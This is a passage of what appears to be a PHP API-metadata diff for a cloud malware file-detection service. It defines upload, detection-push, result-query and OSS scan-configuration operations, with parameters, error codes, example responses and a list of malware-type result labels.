'0a212417e65c26ff133cfff28f6c****', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RequestTooFrequently', + 'errorMessage' => 'Request too frequently, please try again later', + ], + [ + 'errorCode' => 'InvalidApiDetectType', + 'errorMessage' => 'Unsupported Api Detect Type.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'SystemBusy', + 'errorMessage' => 'System busy, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"UploadUrlList\\": [\\n {\\n \\"PublicUrl\\": \\"http://example.com\\",\\n \\"InternalUrl\\": \\"http://example.com\\",\\n \\"Expire\\": \\"1658562101370\\",\\n \\"Context\\": {\\n \\"AccessId\\": \\"yourAccessKeyID\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0yM1QxMDo1ODoxMC****\\",\\n \\"Signature\\": \\"wDhPgVdnY/bkKFYcYFl+4crl****\\",\\n \\"OssKey\\": \\"1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****\\"\\n },\\n \\"FileExist\\": false,\\n \\"HashKey\\": \\"0a212417e65c26ff133cfff28f6c****\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取文件上传参数', + 'description' => '通过此接口获取文件上传参数。如果返回参数中的FileExist的值为true，表示待检测文件在云端已存在，不需要再上传，可以直接推送检测。如果FileExist的值为false，需要用此接口返回的参数，通过表单上传的方式将文件上传至指定存储位置。'."\n" + ."\n" + .'表单上传服务由OSS产品提供，请参考[表单上传](~~84788~~)。'."\n" + ."\n" + .'文件检测相关接口均包含HashKey参数，表示文件唯一标识，仅支持传入文件完整内容的MD5或SHA-256，请在调用接口前计算该值。注意，一次文件检测的推送和查询接口必须使用同一个HashKey，否则无法正确推送检测和查询结果。'."\n" + ."\n" + .'计算文件内容的MD5或SHA-256值可以参考以下两个步骤：'."\n" + ."\n" + .'1. 使用MD5、SHA-256算法对数据进行加密，生成128位或256位的散列值。现有工具库包括Java的MessageDigest工具、Python的hashlib库等。'."\n" + ."\n" + .'2. 将生成的散列值编码为十六进制字符串形式，现有工具库包括Java的Codec工具、Python的hex函数等。请确认最终生成的字符串为数字和小写英文字符的组合，MD5为32个字符，SHA-256为64个字符。', + ], + 'CreateFileDetect' => [ + 'summary' => '文件推送到云端检测。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '140701', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '115.213.XX.XX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '需要检测的文件类型。取值：'."\n" + ."\n" + .'- **0**：不确定的文件类型', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + [ + 'name' => 'HashKey', + 'in' => 'query', + 'schema' => [ + 'description' => '文件唯一标识。', + 'type' => 'string', + 'required' => true, + 'example' => '0a212417e65c26ff133cfff28f6c****', + ], + ], + [ + 'name' => 'OssKey', + 'in' => 'query', + 'schema' => [ + 'description' => '文件在OSS Bucket中的存储key。如果通过DownloadUrl推送文件检测，此参数可不填。此参数通过[CreateFileDetectUploadUrl](~~CreateFileDetectUploadUrl~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => '1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****', + ], + ], + [ + 'name' => 'DownloadUrl', + 'in' => 'query', + 'schema' => [ + 'description' => '文件下载链接。支持传入文件下载链接（公网URL）直接触发文件检测，不需要提前上传文件。', + 'type' => 'string', + 'required' => false, + 'example' => 'https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx', + ], + ], + [ + 'name' => 'Decompress', + 'in' => 'query', + 'schema' => [ + 'description' => '是否识别压缩包并解压。取值：'."\n" + .'- **true**：是。'."\n" + .'- **false**：否。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'DecompressMaxLayer', + 'in' => 'query', + 'schema' => [ + 'description' => '当压缩包内，存在多个层级的压缩包嵌套时，解压的最大解压层数。最大取值为5。'."\n" + ."\n" + .'Decompress设置为true时，此参数不可为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'DecompressMaxFileCount', + 'in' => 'query', + 'schema' => [ + 'description' => '解压的最大文件数。最大取值为1000。'."\n" + ."\n" + .'Decompress设置为true时，此参数不可为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '100', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => '', + 'description' => '', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => '', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'HashKey' => [ + 'description' => '文件标识。', + 'type' => 'string', + 'example' => '0a212417e65c26ff133cfff28f6c****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RequestTooFrequently', + 'errorMessage' => 'Request too frequently, please try again later', + ], + [ + 'errorCode' => 'GetFileError', + 'errorMessage' => 'Get file error, please check input params and file size, and make sure upload file success.', + ], + [ + 'errorCode' => 'InvalidDownloadUrl', + 'errorMessage' => 'Invalid file download URL.', + ], + [ + 'errorCode' => 'FileSizeOverLimit', + 'errorMessage' => 'File size over limit.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'SystemBusy', + 'errorMessage' => 'System busy, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"HashKey\\": \\"0a212417e65c26ff133cfff28f6c****\\"\\n}","type":"json"}]', + 'title' => '文件推送检测', + 'description' => '通过此接口将文件推送到云端检测，调用前请确认文件已成功上传，文件上传的方式参考 CreateFileDetectUploadUrl 接口。'."\n" + ."\n" + .'文件检测相关接口均包含HashKey参数，表示文件唯一标识，仅支持传入文件完整内容的MD5或SHA-256，请在调用接口前计算该值。注意，一次文件检测的推送和查询接口必须使用同一个HashKey，否则无法正确推送检测和查询结果。'."\n" + ."\n" + .'计算文件内容的MD5或SHA-256值可以参考以下两个步骤：'."\n" + ."\n" + .'1. 使用MD5、SHA-256算法对数据进行加密，生成128位或256位的散列值。现有工具库包括Java的MessageDigest工具、Python的hashlib库等。'."\n" + ."\n" + .'2. 将生成的散列值编码为十六进制字符串形式，现有工具库包括Java的Codec工具、Python的hex函数等。请确认最终生成的字符串为数字和小写英文字符的组合，MD5为32个字符，SHA-256为64个字符。', + ], + 'GetFileDetectResult' => [ + 'summary' => '通过HashKey批量获取文件检测结果。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '140704', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '183.46.XX.XX', + ], + ], + [ + 'name' => 'HashKeyList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件标识列表。最多传入100个元素。', + 'type' => 'array', + 'items' => [ + 'description' => '文件唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => '0a212417e65c26ff133cfff28f9c****', + ], + 'required' => true, + 'maxItems' => 200, + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '需要检测的文件类型。取值：'."\n" + ."\n" + .'- **0**：不确定的文件类型', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回信息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'ResultList' => [ + 'description' => '检测结果列表。', + 'type' => 'array', + 'items' => [ + 'description' => '文件检测结果信息。', + 'type' => 'object', + 'properties' => [ + 'HashKey' => [ + 'description' => '文件标识。', + 'type' => 'string', + 'example' => '0a212417e65c26ff133cfff28f6c****', + ], + 'Result' => [ + 'description' => '文件检测结果。取值：'."\n" + ."\n" + .'- **0**：安全文件'."\n" + .'- **1**：可疑文件'."\n" + .'- **3**：检测中，请等待'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Score' => [ + 'description' => '文件检测分数。分数区间及危险等级的对应关系如下：'."\n" + ."\n" + .'- 0~60：安全'."\n" + .'- 61~70：风险'."\n" + .'- 71~80：可疑'."\n" + .'- 81~100：恶意'."\n" + ."\n" + .'>分数越高，文件越可疑。>', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'VirusType' => [ + 'description' => '病毒类型。取值：'."\n" + ."\n" + .'- **Trojan**：木马程序'."\n" + .'- **WebShell**：网站后门'."\n" + .'- **Backdoor**：后门程序'."\n" + .'- **RansomWare**：勒索病毒'."\n" + .'- **Scanner**：扫描器'."\n" + .'- **Stealer**：窃密工具'."\n" + .'- **Malbaseware**：被污染的基础软件'."\n" + .'- **Hacktool**：黑客工具'."\n" + .'- **Engtest**：引擎测试程序'."\n" + .'- **Downloader**：下载器木马'."\n" + .'- **Virus**：感染型病毒'."\n" + .'- **Miner**：挖矿程序'."\n" + .'- **Worm**：蠕虫病毒'."\n" + .'- **DDoS**：DDoS木马'."\n" + .'- **Malware**：恶意程序'."\n" + .'- **RiskWare**：风险软件'."\n" + .'- **Proxytool**：代理工具'."\n" + .'- **Suspicious**：可疑程序'."\n" + .'- **MalScript**：恶意脚本'."\n" + .'- **Rootkit**：Rootkit'."\n" + .'- **Exploit**：漏洞利用程序', + 'type' => 'string', + 'example' => 'WebShell', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'Ext' => [ + 'description' => '检测结果扩展信息。', + 'type' => 'string', + 'example' => '{'."\n" + .' "HighLight":'."\n" + .' ['."\n" + .' ['."\n" + .' 23245,'."\n" + .' 23212'."\n" + .' ]'."\n" + .' ],'."\n" + .' "FileLabel":'."\n" + .' ['."\n" + .' "PE32",'."\n" + .' "Zip",'."\n" + .' "SFX",'."\n" + .' "encrypted"'."\n" + .' ]'."\n" + .'}', + ], + 'Compress' => [ + 'description' => '是否识别为压缩包。'."\n" + ."\n" + .'- **true**：是。'."\n" + ."\n" + .'- **false**：否。', + 'type' => 'boolean', + 'example' => 'false', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RequestTooFrequently', + 'errorMessage' => 'Request too frequently, please try again later', + ], + [ + 'errorCode' => 'GetResultFail', + 'errorMessage' => 'Get result fail, found no detect record for this file or result has been expired', + ], + [ + 'errorCode' => 'InvalidApiDetectType', + 'errorMessage' => 'Unsupported Api Detect Type.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'SystemBusy', + 'errorMessage' => 'System busy, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"ResultList\\": [\\n {\\n \\"HashKey\\": \\"0a212417e65c26ff133cfff28f6c****\\",\\n \\"Result\\": 0,\\n \\"Score\\": 100,\\n \\"VirusType\\": \\"WebShell\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"Ext\\": \\"{\\\\n \\\\\\"HighLight\\\\\\":\\\\n [\\\\n [\\\\n 23245,\\\\n 23212\\\\n ]\\\\n ],\\\\n \\\\\\"FileLabel\\\\\\":\\\\n [\\\\n \\\\\\"PE32\\\\\\",\\\\n \\\\\\"Zip\\\\\\",\\\\n \\\\\\"SFX\\\\\\",\\\\n \\\\\\"encrypted\\\\\\"\\\\n ]\\\\n}\\",\\n \\"Compress\\": false\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取文件检测结果', + 'description' => '推送检测过的文件才能获取检测结果，检测结果将保留5小时，5小时内可重复查询。推送检测接口请参考[CreateFileDetect](~~CreateFileDetect~~)。'."\n" + ."\n" + .'可以通过Ext扩展字段里的FileLabel对文件属性进行筛选，例如通过组合encrypted、Zip这两个属性筛选加密的压缩包。支持的文件标签-压缩文件类型：Zip、RAR、7-Zip、XAR、ZLib、GZip、tar。'."\n" + ."\n" + .'可以通过Ext扩展字段里的Highlight字段定位Webshell文件的恶意代码段。Highlight字段为列表类型，列表中每个元素对应一段代码范围，数字表示相对文件头部的偏移字符数。'."\n" + ."\n" + .'文件检测相关接口均包含HashKey参数，表示文件唯一标识，仅支持传入文件完整内容的MD5或SHA-256，请在调用接口前计算该值。注意，一次文件检测的推送和查询接口必须使用同一个HashKey，否则无法正确推送检测和查询结果。'."\n" + ."\n" + .'计算文件内容的MD5或SHA-256值可以参考以下两个步骤：'."\n" + ."\n" + .'1. 使用MD5、SHA-256算法对数据进行加密，生成128位或256位的散列值。现有工具库包括Java的MessageDigest工具、Python的hashlib库等。'."\n" + ."\n" + .'2. 将生成的散列值编码为十六进制字符串形式，现有工具库包括Java的Codec工具、Python的hex函数等。请确认最终生成的字符串为数字和小写英文字符的组合，MD5为32个字符，SHA-256为64个字符。', + ], + 'ListCompressFileDetectResult' => [ + 'summary' => '获取压缩包内文件检测结果列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '215080', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '27.9.XX.XX', + ], + ], + [ + 'name' => 'HashKey', + 'in' => 'query', + 'schema' => [ + 'description' => '文件唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => '0a212417e65c26ff133cfff28f6c****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'minimum' => '1', + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'maximum' => '100', + 'minimum' => '1', + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '55', + ], + ], + ], + 'ResultList' => [ + 'description' => '压缩包内文件检测结果列表。', + 'type' => 'array', + 'items' => [ + 'description' => '文件检测结果信息。', + 'type' => 'object', + 'properties' => [ + 'HashKey' => [ + 'description' => '文件标识。', + 'type' => 'string', + 'example' => '0a212417e65c26ff133cfff28f6c****', + ], + 'Result' => [ + 'description' => '文件检测结果。取值：'."\n" + ."\n" + .'- **0**：安全文件'."\n" + .'- **1**：可疑文件'."\n" + .'- **3**：检测中，请等待'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Score' => [ + 'description' => '文件检测分数。分数区间及危险等级的对应关系如下：'."\n" + ."\n" + .'- 0~60：安全'."\n" + .'- 61~70：风险'."\n" + .'- 71~80：可疑'."\n" + .'- 81~100：恶意'."\n" + ."\n" + .'>分数越高，文件越可疑。>', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'VirusType' => [ + 'description' => '病毒类型。取值：'."\n" + ."\n" + .'- **Trojan**：自变异木马'."\n" + .'- **WebShell**：网站后门'."\n" + .'- **Backdoor**：后门程序'."\n" + .'- **RansomWare**：勒索病毒'."\n" + .'- **Scanner**：扫描器'."\n" + .'- **Stealer**：窃密工具'."\n" + .'- **Malbaseware**：被污染的基础软件'."\n" + .'- **Hacktool**：黑客工具'."\n" + .'- **Engtest**：引擎测试程序'."\n" + .'- **Downloader**：下载器木马'."\n" + .'- **Virus**：感染型病毒'."\n" + .'- **Miner**：挖矿程序'."\n" + .'- **Worm**：蠕虫病毒'."\n" + .'- **DDoS**：DDoS木马'."\n" + .'- **Malware**：恶意程序'."\n" + .'- **Backdoor**：反弹Shell后门'."\n" + .'- **RiskWare**：风险软件'."\n" + .'- **Proxytool**：代理工具'."\n" + .'- **Suspicious**：可疑程序'."\n" + .'- **MalScript**：恶意脚本'."\n" + .'- **Rootkit**：Rootkit'."\n" + .'- **Exploit**：漏洞利用程序', + 'type' => 'string', + 'example' => 'WebShell', + ], + 'Ext' => [ + 'description' => '检测结果扩展信息。', + 'type' => 'string', + 'example' => '{'."\n" + .' "HighLight":'."\n" + .' ['."\n" + .' ['."\n" + .' 23245,'."\n" + .' 23212'."\n" + .' ]'."\n" + .' ],'."\n" + .' "FileLabel":'."\n" + .' ['."\n" + .' "PE32",'."\n" + .' "Zip",'."\n" + .' "SFX",'."\n" + .' "encrypted"'."\n" + .' ]'."\n" + .'}', + ], + 'Path' => [ + 'description' => '文件在压缩包内的路径。', + 'type' => 'string', + 'example' => '/root/1.zip/test****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RequestTooFrequently', + 'errorMessage' => 'Request too frequently, please try again later', + ], + [ + 'errorCode' => 'GetResultFail', + 'errorMessage' => 'Get result fail, found no detect record for this file or result has been expired', + ], + [ + 'errorCode' => 'InvalidApiDetectType', + 'errorMessage' => 'Unsupported Api Detect Type.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'SystemBusy', + 'errorMessage' => 'System busy, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55\\n },\\n \\"ResultList\\": [\\n {\\n \\"HashKey\\": \\"0a212417e65c26ff133cfff28f6c****\\",\\n \\"Result\\": 0,\\n \\"Score\\": 100,\\n \\"VirusType\\": \\"WebShell\\",\\n \\"Ext\\": \\"{\\\\n \\\\\\"HighLight\\\\\\":\\\\n [\\\\n [\\\\n 23245,\\\\n 23212\\\\n ]\\\\n ],\\\\n \\\\\\"FileLabel\\\\\\":\\\\n [\\\\n \\\\\\"PE32\\\\\\",\\\\n \\\\\\"Zip\\\\\\",\\\\n \\\\\\"SFX\\\\\\",\\\\n \\\\\\"encrypted\\\\\\"\\\\n ]\\\\n}\\",\\n \\"Path\\": \\"/root/1.zip/test****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取压缩包内文件检测结果列表', + 'description' => '推送过检测并且被识别为压缩包的文件才能通过此接口获取文件检测结果列表，检测结果将保留5小时，5小时内可重复查询。推送检测请参考接口CreateFileDetect。获压缩包文件本身检测结果请参考接口GetFileDetectResult。'."\n" + ."\n" + .'文件检测相关接口均包含HashKey参数，表示文件唯一标识，仅支持传入文件完整内容的MD5或SHA-256，请在调用接口前计算该值。注意，一次文件检测的推送和查询接口必须使用同一个HashKey，否则无法正确推送检测和查询结果。'."\n" + ."\n" + .'计算文件内容的MD5或SHA-256值可以参考以下两个步骤：'."\n" + ."\n" + .'1. 使用MD5、SHA-256算法对数据进行加密，生成128位或256位的散列值。现有工具库包括Java的MessageDigest工具、Python的hashlib库等。'."\n" + ."\n" + .'2. 将生成的散列值编码为十六进制字符串形式，现有工具库包括Java的Codec工具、Python的hex函数等。请确认最终生成的字符串为数字和小写英文字符的组合，MD5为32个字符，SHA-256为64个字符。', + ], + 'DeleteOssScanConfig' => [ + 'summary' => '删除OSS文件检测策略配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '197413', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '配置ID。'."\n" + ."\n" + .'> 调用[ListOssScanConfig](~~ListOssScanConfig~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1589', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidId', + 'errorMessage' => 'Invalid ID.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\"\\n}","type":"json"}]', + 'title' => '删除OSS文件检测策略配置', + ], + 'ListOssScanConfig' => [ + 'summary' => '查询OSS文件检测策略配置列表。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '197058', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询，当前显示的页数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testName', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '50', + ], + ], + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'array', + 'items' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '配置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '443496', + ], + 'Enable' => [ + 'description' => '是否启用。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Name' => [ + 'description' => '配置名称。', + 'type' => 'string', + 'example' => 'test****', + ], + 'ScanDayList' => [ + 'description' => '扫描时间，数字表示一周中的第几天。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描时间，数字表示一周中的第几天。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + 'StartTime' => [ + 'description' => '检测开始时间，格式为HH:mm:ss。', + 'type' => 'string', + 'example' => '00:00:00'."\n", + ], + 'EndTime' => [ + 'description' => '检测结束时间，格式为HH:mm:ss。', + 'type' => 'string', + 'example' => '06:00:00', + ], + 'BucketNameList' => [ + 'description' => 'Bucket名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'example' => 'amssev-oss****', + ], + ], + 'KeySuffixList' => [ + 'description' => '检测的文件后缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检测的文件后缀。', + 'type' => 'string', + 'example' => '.asp', + ], + ], + 'KeyPrefixList' => [ + 'description' => '检测的文件目录列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检测的文件目录。', + 'type' => 'string', + 'example' => '/root', + ], + ], + 'LastUpdateTime' => [ + 'description' => '最后更新时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1698388233883', + ], + 'BucketCount' => [ + 'description' => 'Bucket个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'AllKeyPrefix' => [ + 'description' => '是否匹配所有前缀。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'DecompressMaxLayer' => [ + 'description' => '存在多个层级的压缩包嵌套时的最大解压层数，最小取值为1，最大取值为5。超过最大解压层数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'DecompressMaxFileCount' => [ + 'description' => '最大解压文件数。最小取值为1，最大取值为1000。超过最大解压文件数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'DecryptionList' => [ + 'description' => '解密类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '解密类型。取值：'."\n" + ."\n" + .'- **OSS**：OSS完全托管。'."\n" + .'- **KMS**：KMS。', + 'type' => 'string', + 'example' => 'KMS', + ], + ], + 'LastModifiedStartTime' => [ + 'description' => '检测最后一次修改时间在指定时间戳之后的文件，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1724301769834', + ], + 'RealTimeIncr' => [ + 'description' => '是否开启实时增量检测。此参数设置为true时，参数ScanDayList、StartTime、EndTime不生效。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], 